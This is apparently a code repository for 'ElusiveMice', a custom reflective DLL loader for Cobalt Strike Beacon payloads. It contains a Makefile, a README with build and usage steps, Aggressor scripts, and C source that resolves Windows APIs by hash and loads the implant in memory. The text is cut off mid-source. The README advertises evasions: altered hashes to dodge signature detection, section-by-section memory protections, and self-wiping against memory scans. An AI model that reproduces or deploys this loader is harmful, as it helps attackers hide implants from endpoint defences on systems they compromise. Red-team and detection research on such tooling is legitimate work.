├── Makefile ├── README.md ├── bin ├── elusiveMice.cna ├── elusiveMice.x64.o └── elusiveMice.x86.o ├── elusiveMice.cna ├── src ├── ReflectiveDLLInjection.h ├── elusiveMice.c └── elusiveMice.h └── util ├── README.md ├── hash.c └── hash.exe /Makefile: -------------------------------------------------------------------------------- 1 | CC_x64 := x86_64-w64-mingw32-gcc 2 | CC_x86 := i686-w64-mingw32-gcc 3 | 4 | CFLAGS := $(CFLAGS) -O0 5 | CFLAGS := $(CFLAGS) -masm=intel -Wall -Wno-pointer-arith -w 6 | 7 | all: clean 8 | $(CC_x64) $(CFLAGS) -c src/elusiveMice.c -o bin/elusiveMice.x64.o 9 | $(CC_x86) $(CFLAGS) -c src/elusiveMice.c -o bin/elusiveMice.x86.o 10 | cp elusiveMice.cna bin 11 | 12 | clean: 13 | rm -f bin/*.o 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ElusiveMice - custom Cobalt Strike User-Defined Reflective Loader 2 | 3 | This is a fork of [Cobalt Strike's User-Defined Reflective Loader](https://www.cobaltstrike.com/help-user-defined-reflective-loader) which in turn is a fork of [Stephen Fewer's ReflectiveDLLInjection](https://github.com/stephenfewer/ReflectiveDLLInjection) implementation, but with a _slight_ plot twist - it adds a few lightweight evasions. 4 | 5 | ## Features 6 | 7 | - utilizes changed API/module name dynamic resolution hashes to avoid simple signature detections 8 | - reflective loader now properly restores section memory protections and avoids using one big `RWX` allocation 9 | - `elusiveMice` tries to wipe itself from the memory, leaving close to no remnants of UDRL code when memory scan sweep comes in 10 | 11 | 12 | ## Usage 13 | 14 | 1. Modify you `arsenal_kit.config` accordingly: 15 | 16 | ``` 17 | include_artifact_kit="true" 18 | include_udrl_kit="false" 19 | include_sleepmask_kit="true" 20 | include_process_inject_kit="true" 21 | include_resource_kit="true" 22 | include_mimikatz_kit="true" 23 | 24 | rdll_size=100 25 | 26 | artifactkit_stack_spoof="true" 27 | artifactkit_technique="mailslot" 28 | artifactkit_stage_size=424948 29 | artifactkit_syscalls_method="indirect_randomized" 30 | 31 | sleepmask_sleep_method="WaitForSingleObject" 32 | sleepmask_mask_text_section="true" 33 | sleepmask_syscalls_method="indirect_randomized" 34 | ``` 35 | 36 | 2. Compile arsenal kit `./build_arsenal_kit.sh` 37 | 3. Load `bin/elusiveMice.cna` script into your Cobalt Strike 38 | 4. Generate your beacon via `Attacks -> Packages -> Windows Stageless Payload` or any other sort of Beacon's shellcode. 39 | 5. (Optionally) observe output in `View -> Script Console` 40 | 41 | The CNA script may have `$debug` mode enabled by flipping the variable: 42 | 43 | ``` 44 | # Enable Debug of PE content 45 | # The generated PE content will be displayed in the script console if debug is true 46 | 47 | #$debug = "true"; 48 | $debug = "true"; 49 | ``` 50 | 51 | Which will dump PE headers of newly generated Reflective DLL containing Beacon's codebase. 52 | 53 | ## Other work 54 | 55 | So far there aren't many publicly available implementations of _User-Defined Reflective Loaders_, but the ones of a great quality that I'm aware of include: 56 | 57 | - [boku7's BokuLoader](https://github.com/boku7/BokuLoader) 58 | 59 | 60 | ## Author 61 | 62 | ``` 63 | Mariusz B. / mgeeky, 21-23 64 | 65 | (https://github.com/mgeeky) 66 | ``` 67 | -------------------------------------------------------------------------------- /bin/elusiveMice.cna: -------------------------------------------------------------------------------- 1 | 2 | # User Defined Reflective Loader Kit Aggressor Script 3 | 4 | # Enable Debug of PE content 5 | # The generated PE content will be displayed in the script console if debug is true 6 | 7 | #$debug = "true"; 8 | $debug = "true"; 9 | 10 | 11 | # =========================================================================== 12 | # 'case insensitive sort' from sleep manual... 13 | # =========================================================================== 14 | sub caseInsensitiveCompare 15 | { 16 | $a = lc($1); 17 | $b = lc($2); 18 | return $a cmp $b; 19 | } 20 | 21 | # =========================================================================== 22 | # Dump PE Information 23 | # $1 = Beacon DLL content 24 | # =========================================================================== 25 | sub dump_my_pe { 26 | local('$out $key $val %pemap @sorted_keys'); 27 | 28 | %pemap = pedump($1); 29 | 30 | # --------------------------------------------------- 31 | # Example listing all items from hash/map... 32 | # --------------------------------------------------- 33 | @sorted_keys = sort(&caseInsensitiveCompare, keys(%pemap)); 34 | foreach $key (@sorted_keys) 35 | { 36 | $out = "$[50]key"; 37 | foreach $val (values(%pemap, @($key))) 38 | { 39 | $out .= " $val"; 40 | println($out); 41 | } 42 | } 43 | 44 | # --------------------------------------------------- 45 | # Example of grabbing specific items from hash/map... 46 | # --------------------------------------------------- 47 | local('@loc_cs @val_cs'); 48 | @loc_cs = values(%pemap, @("CheckSum.")); 49 | @val_cs = values(%pemap, @("CheckSum.")); 50 | 51 | println(""); 52 | println("My DLL CheckSum Location: " . @loc_cs); 53 | println("My DLL CheckSum Value: " . @val_cs); 54 | println(""); 55 | } 56 | 57 | sub generate_my_dll { 58 | 59 | local('$handle $data $loader $temp_dll'); 60 | 61 | # --------------------------------------------------------------------- 62 | # Load a object file that contains a Reflective Loader. 63 | # The architecture ($3) is used in the path. 64 | # --------------------------------------------------------------------- 65 | $handle = openf(script_resource("elusiveMice. $+ $3 $+ .o")); 66 | $data = readb($handle, -1); 67 | closef($handle); 68 | 69 | warn("Loaded Length: " . strlen($data)); 70 | 71 | if (strlen($data) eq 0) { 72 | warn("Error loading reflective loader object file."); 73 | return $null; 74 | } 75 | 76 | # --------------------------------------------------------------------- 77 | # extract loader ($loader) from the object file data ($data). 78 | # --------------------------------------------------------------------- 79 | $loader = extract_reflective_loader($data); 80 | 81 | warn("Extracted Length: " . strlen($loader)); 82 | 83 | if (strlen($loader) eq 0) { 84 | warn("Error extracting reflective loader."); 85 | return $null; 86 | } 87 | 88 | # --------------------------------------------------------------------- 89 | # Setup the reflective loader ($loader) in the beacon ($2). 90 | # --------------------------------------------------------------------- 91 | $temp_dll = setup_reflective_loader($2, $loader); 92 | 93 | # --------------------------------------------------------------------- 94 | # OPTIONAL: Additional Customization of the PE... 95 | # - Use 'pedump' function to get information for the updated DLL. 96 | # - Use these convenience functions to perform transformations on the DLL: 97 | # pe_remove_rich_header 98 | # pe_insert_rich_header 99 | # pe_set_compile_time_with_long 100 | # pe_set_compile_time_with_string 101 | # pe_set_export_name 102 | # pe_update_checksum 103 | # - Use these basic functions to perform transformations on the DLL: 104 | # pe_mask 105 | # pe_mask_section 106 | # pe_mask_string 107 | # pe_patch_code 108 | # pe_set_string 109 | # pe_set_stringz 110 | # pe_set_long 111 | # pe_set_short 112 | # pe_set_value_at 113 | # pe_stomp 114 | # --------------------------------------------------------------------- 115 | 116 | println($debug); 117 | if ($debug eq "true") { 118 | dump_my_pe($temp_dll); 119 | } 120 | 121 | # --------------------------------------------------------------------- 122 | # Give back the updated beacon DLL. 123 | # --------------------------------------------------------------------- 124 | return $temp_dll; 125 | } 126 | 127 | # ------------------------------------ 128 | # $1 = DLL file name 129 | # $2 = DLL content 130 | # $3 = arch 131 | # ------------------------------------ 132 | set BEACON_RDLL_GENERATE { 133 | warn("========== Running elusiveMice 'BEACON_RDLL_GENERATE' for DLL " . $1 . " with architecture " . $3 . " =========="); 134 | return generate_my_dll($1, $2, $3); 135 | } 136 | 137 | # ------------------------------------ 138 | # $1 = DLL file name 139 | # $2 = DLL content 140 | # $3 = arch 141 | # $4 = parent Beacon ID 142 | # $5 = GetModuleHandleA pointer 143 | # $6 = GetProcAddress pointer 144 | # ------------------------------------ 145 | set BEACON_RDLL_GENERATE_LOCAL { 146 | warn("========== Running elusiveMice 'BEACON_RDLL_GENERATE_LOCAL' for DLL " . $1 . " with architecture " . $3 . " Beacon ID " . $4 . " GetModuleHandleA " . $5 . " GetProcAddress " . $6 . " =========="); 147 | return generate_my_dll($1, $2, $3); 148 | } 149 | 150 | # BEACON_RDLL_SIZE HOOK 151 | # Override the beacon loader to load beacons with larger space reserved for the 152 | # User Defined Reflective Loader function. 153 | # 154 | # Arguments 155 | # $1 = dll name 156 | # $2 = arch 157 | # 158 | # Returns 159 | # a string representing the size to use for the Reflective Loader. 160 | # valid values are: [0, 5, 100] 161 | set BEACON_RDLL_SIZE { 162 | println("UDRL - BEACON_RDLL_SIZE hook"); 163 | 164 | $size = 100; 165 | println("UDRL - Use the $size $+ K Reflective Loader (elusiveMice)"); 166 | return "$size"; 167 | } 168 | -------------------------------------------------------------------------------- /bin/elusiveMice.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/ElusiveMice/6d0ec86ca707f9657e3ac4cc9fe31211c9f5954d/bin/elusiveMice.x64.o -------------------------------------------------------------------------------- /bin/elusiveMice.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/ElusiveMice/6d0ec86ca707f9657e3ac4cc9fe31211c9f5954d/bin/elusiveMice.x86.o -------------------------------------------------------------------------------- /elusiveMice.cna: -------------------------------------------------------------------------------- 1 | 2 | # User Defined Reflective Loader Kit Aggressor Script 3 | 4 | # Enable Debug of PE content 5 | # The generated PE content will be displayed in the script console if debug is true 6 | 7 | #$debug = "true"; 8 | $debug = "true"; 9 | 10 | 11 | # =========================================================================== 12 | # 'case insensitive sort' from sleep manual... 13 | # =========================================================================== 14 | sub caseInsensitiveCompare 15 | { 16 | $a = lc($1); 17 | $b = lc($2); 18 | return $a cmp $b; 19 | } 20 | 21 | # =========================================================================== 22 | # Dump PE Information 23 | # $1 = Beacon DLL content 24 | # =========================================================================== 25 | sub dump_my_pe { 26 | local('$out $key $val %pemap @sorted_keys'); 27 | 28 | %pemap = pedump($1); 29 | 30 | # --------------------------------------------------- 31 | # Example listing all items from hash/map... 32 | # --------------------------------------------------- 33 | @sorted_keys = sort(&caseInsensitiveCompare, keys(%pemap)); 34 | foreach $key (@sorted_keys) 35 | { 36 | $out = "$[50]key"; 37 | foreach $val (values(%pemap, @($key))) 38 | { 39 | $out .= " $val"; 40 | println($out); 41 | } 42 | } 43 | 44 | # --------------------------------------------------- 45 | # Example of grabbing specific items from hash/map... 46 | # --------------------------------------------------- 47 | local('@loc_cs @val_cs'); 48 | @loc_cs = values(%pemap, @("CheckSum.")); 49 | @val_cs = values(%pemap, @("CheckSum.")); 50 | 51 | println(""); 52 | println("My DLL CheckSum Location: " . @loc_cs); 53 | println("My DLL CheckSum Value: " . @val_cs); 54 | println(""); 55 | } 56 | 57 | sub generate_my_dll { 58 | 59 | local('$handle $data $loader $temp_dll'); 60 | 61 | # --------------------------------------------------------------------- 62 | # Load a object file that contains a Reflective Loader. 63 | # The architecture ($3) is used in the path. 64 | # --------------------------------------------------------------------- 65 | $handle = openf(script_resource("elusiveMice. $+ $3 $+ .o")); 66 | $data = readb($handle, -1); 67 | closef($handle); 68 | 69 | warn("Loaded Length: " . strlen($data)); 70 | 71 | if (strlen($data) eq 0) { 72 | warn("Error loading reflective loader object file."); 73 | return $null; 74 | } 75 | 76 | # --------------------------------------------------------------------- 77 | # extract loader ($loader) from the object file data ($data). 78 | # --------------------------------------------------------------------- 79 | $loader = extract_reflective_loader($data); 80 | 81 | warn("Extracted Length: " . strlen($loader)); 82 | 83 | if (strlen($loader) eq 0) { 84 | warn("Error extracting reflective loader."); 85 | return $null; 86 | } 87 | 88 | # --------------------------------------------------------------------- 89 | # Setup the reflective loader ($loader) in the beacon ($2). 90 | # --------------------------------------------------------------------- 91 | $temp_dll = setup_reflective_loader($2, $loader); 92 | 93 | # --------------------------------------------------------------------- 94 | # OPTIONAL: Additional Customization of the PE... 95 | # - Use 'pedump' function to get information for the updated DLL. 96 | # - Use these convenience functions to perform transformations on the DLL: 97 | # pe_remove_rich_header 98 | # pe_insert_rich_header 99 | # pe_set_compile_time_with_long 100 | # pe_set_compile_time_with_string 101 | # pe_set_export_name 102 | # pe_update_checksum 103 | # - Use these basic functions to perform transformations on the DLL: 104 | # pe_mask 105 | # pe_mask_section 106 | # pe_mask_string 107 | # pe_patch_code 108 | # pe_set_string 109 | # pe_set_stringz 110 | # pe_set_long 111 | # pe_set_short 112 | # pe_set_value_at 113 | # pe_stomp 114 | # --------------------------------------------------------------------- 115 | 116 | println($debug); 117 | if ($debug eq "true") { 118 | dump_my_pe($temp_dll); 119 | } 120 | 121 | # --------------------------------------------------------------------- 122 | # Give back the updated beacon DLL. 123 | # --------------------------------------------------------------------- 124 | return $temp_dll; 125 | } 126 | 127 | # ------------------------------------ 128 | # $1 = DLL file name 129 | # $2 = DLL content 130 | # $3 = arch 131 | # ------------------------------------ 132 | set BEACON_RDLL_GENERATE { 133 | warn("========== Running elusiveMice 'BEACON_RDLL_GENERATE' for DLL " . $1 . " with architecture " . $3 . " =========="); 134 | return generate_my_dll($1, $2, $3); 135 | } 136 | 137 | # ------------------------------------ 138 | # $1 = DLL file name 139 | # $2 = DLL content 140 | # $3 = arch 141 | # $4 = parent Beacon ID 142 | # $5 = GetModuleHandleA pointer 143 | # $6 = GetProcAddress pointer 144 | # ------------------------------------ 145 | set BEACON_RDLL_GENERATE_LOCAL { 146 | warn("========== Running elusiveMice 'BEACON_RDLL_GENERATE_LOCAL' for DLL " . $1 . " with architecture " . $3 . " Beacon ID " . $4 . " GetModuleHandleA " . $5 . " GetProcAddress " . $6 . " =========="); 147 | return generate_my_dll($1, $2, $3); 148 | } 149 | 150 | # BEACON_RDLL_SIZE HOOK 151 | # Override the beacon loader to load beacons with larger space reserved for the 152 | # User Defined Reflective Loader function. 153 | # 154 | # Arguments 155 | # $1 = dll name 156 | # $2 = arch 157 | # 158 | # Returns 159 | # a string representing the size to use for the Reflective Loader. 160 | # valid values are: [0, 5, 100] 161 | set BEACON_RDLL_SIZE { 162 | println("UDRL - BEACON_RDLL_SIZE hook"); 163 | 164 | $size = 100; 165 | println("UDRL - Use the $size $+ K Reflective Loader (elusiveMice)"); 166 | return "$size"; 167 | } 168 | -------------------------------------------------------------------------------- /src/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 45 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | #if defined _M_X64 50 | #define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 51 | #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 52 | #define WIN_X64 53 | #elif defined _M_IX86 54 | #define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 55 | #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 56 | #define WIN_X86 57 | #endif 58 | 59 | 60 | //===============================================================================================// 61 | #endif 62 | //===============================================================================================// 63 | -------------------------------------------------------------------------------- /src/elusiveMice.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "elusiveMice.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | 33 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 34 | // otherwise the DllMain at the end of this file will be used. 35 | 36 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 37 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 38 | 39 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ); 40 | #ifdef WIN_X64 41 | __declspec(noinline) ULONG_PTR caller( VOID ); 42 | #else 43 | __declspec(noinline) ULONG_PTR caller( VOID ) asm ("caller"); 44 | #endif 45 | 46 | // This is our position independent reflective DLL loader/injector 47 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 48 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) 49 | #else 50 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) 51 | #endif 52 | { 53 | // the functions we need 54 | LOADLIBRARYA pLoadLibraryA = NULL; 55 | GETPROCADDRESS pGetProcAddress = NULL; 56 | VIRTUALALLOC pVirtualAlloc = NULL; 57 | VIRTUALPROTECT pVirtualProtect = NULL; 58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 59 | 60 | USHORT usCounter; 61 | 62 | // the initial location of this image in memory 63 | ULONG_PTR uiLibraryAddress; 64 | // the kernels base address and later this images newly loaded base address 65 | ULONG_PTR uiBaseAddress; 66 | 67 | // variables for processing the kernels export table 68 | ULONG_PTR uiAddressArray; 69 | ULONG_PTR uiNameArray; 70 | ULONG_PTR uiExportDir; 71 | ULONG_PTR uiNameOrdinals; 72 | DWORD dwHashValue; 73 | 74 | // variables for loading this image 75 | ULONG_PTR uiHeaderValue; 76 | ULONG_PTR uiValueA; 77 | ULONG_PTR uiValueB; 78 | ULONG_PTR uiValueC; 79 | ULONG_PTR uiValueD; 80 | ULONG_PTR uiValueE; 81 | 82 | DWORD oldProt = 0; 83 | 84 | // 85 | // STEP 0: calculate our images current base address 86 | // 87 | 88 | // we will start searching backwards from our callers return address. 89 | uiLibraryAddress = caller(); 90 | 91 | // loop through memory backwards searching for our images base address 92 | // we dont need SEH style search as we shouldnt generate any access violations with this 93 | while( TRUE ) 94 | { 95 | if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 96 | { 97 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 98 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 99 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 100 | if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) 101 | { 102 | uiHeaderValue += uiLibraryAddress; 103 | // break if we have found a valid MZ/PE header 104 | if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) 105 | break; 106 | } 107 | } 108 | uiLibraryAddress--; 109 | } 110 | 111 | // 112 | // STEP 1: process the kernels exports for the functions our loader needs... 113 | // 114 | 115 | // get the Process Enviroment Block 116 | #ifdef WIN_X64 117 | uiBaseAddress = __readgsqword( 0x60 ); 118 | #else 119 | uiBaseAddress = __readfsdword( 0x30 ); 120 | #endif 121 | 122 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 123 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 124 | 125 | // get the first entry of the InMemoryOrder module list 126 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 127 | while( uiValueA ) 128 | { 129 | // clear uiValueC which will store the hash of the module name 130 | uiValueC = 0; 131 | // get pointer to current modules name (unicode string) 132 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 133 | // set bCounter to the length for the loop 134 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 135 | 136 | // compute the hash of the module name... 137 | do 138 | { 139 | uiValueC = ror( (DWORD)uiValueC ); 140 | // normalize to uppercase if the module name is in lowercase 141 | if( *((BYTE *)uiValueB) >= 'a' ) 142 | uiValueC += -0x20 + *((BYTE *)uiValueB); 143 | else 144 | uiValueC += *((BYTE *)uiValueB); 145 | uiValueB++; 146 | } while( --usCounter ); 147 | 148 | // compare the hash with that of kernel32.dll 149 | if( (DWORD)uiValueC == KERNEL32DLL_HASH ) 150 | { 151 | // get this modules base address 152 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 153 | 154 | // get the VA of the modules NT Header 155 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 156 | 157 | // uiNameArray = the address of the modules export directory entry 158 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 159 | 160 | usCounter = 4; 161 | 162 | // get the VA of the export directory 163 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 164 | 165 | // get the VA for the array of name ordinals 166 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 167 | 168 | // get the VA for the array of name pointers 169 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 170 | 171 | // loop while we still have imports to find 172 | while( usCounter > 0 ) 173 | { 174 | // compute the hash values for this function name 175 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 176 | 177 | // if we have found a function we want we get its virtual address 178 | if( dwHashValue == LOADLIBRARYA_HASH 179 | || dwHashValue == GETPROCADDRESS_HASH 180 | || dwHashValue == VIRTUALALLOC_HASH 181 | || dwHashValue == VIRTUALPROTECT_HASH 182 | ) 183 | { 184 | // get the VA for the array of addresses 185 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 186 | 187 | // use this functions name ordinal as an index into the array of name pointers 188 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 189 | 190 | // store this functions VA 191 | if( dwHashValue == LOADLIBRARYA_HASH ) 192 | pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 193 | 194 | else if( dwHashValue == VIRTUALALLOC_HASH ) 195 | pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 196 | 197 | else if( dwHashValue == VIRTUALPROTECT_HASH ) 198 | pVirtualProtect = (VIRTUALPROTECT)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 199 | 200 | else if( dwHashValue == GETPROCADDRESS_HASH ) 201 | pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 202 | 203 | // decrement our counter 204 | usCounter--; 205 | } 206 | 207 | // get the next exported function name ordinal 208 | uiNameOrdinals += sizeof(WORD); 209 | 210 | // get the next exported function name 211 | uiNameArray += sizeof(DWORD); 212 | } 213 | } 214 | else if( (DWORD)uiValueC == NTDLLDLL_HASH ) 215 | { 216 | // get this modules base address 217 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 218 | 219 | // get the VA of the modules NT Header 220 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 221 | 222 | // uiNameArray = the address of the modules export directory entry 223 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 224 | 225 | usCounter = 1; 226 | 227 | // get the VA of the export directory 228 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 229 | 230 | // get the VA for the array of name ordinals 231 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 232 | 233 | // get the VA for the array of name pointers 234 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 235 | 236 | // loop while we still have imports to find 237 | while( usCounter > 0 ) 238 | { 239 | // compute the hash values for this function name 240 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 241 | 242 | // if we have found a function we want we get its virtual address 243 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 244 | { 245 | // get the VA for the array of addresses 246 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 247 | 248 | // use this functions name ordinal as an index into the array of name pointers 249 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 250 | 251 | // store this functions VA 252 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 253 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 254 | 255 | // decrement our counter 256 | usCounter--; 257 | } 258 | 259 | // get the next exported function name ordinal 260 | uiNameOrdinals += sizeof(WORD); 261 | 262 | // get the next exported function name 263 | uiNameArray += sizeof(DWORD); 264 | } 265 | } 266 | 267 | // we stop searching when we have found everything we need. 268 | if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache && pVirtualProtect ) 269 | break; 270 | 271 | // get the next entry 272 | uiValueA = DEREF( uiValueA ); 273 | } 274 | 275 | // 276 | // STEP 2: load our image into a new permanent location in memory... 277 | // 278 | 279 | // get the VA of the NT Header for the PE to be loaded 280 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 281 | 282 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 283 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 284 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); 285 | 286 | // we must now copy over the headers 287 | uiValueC = uiBaseAddress; 288 | uiValueB = uiLibraryAddress; 289 | uiValueA = 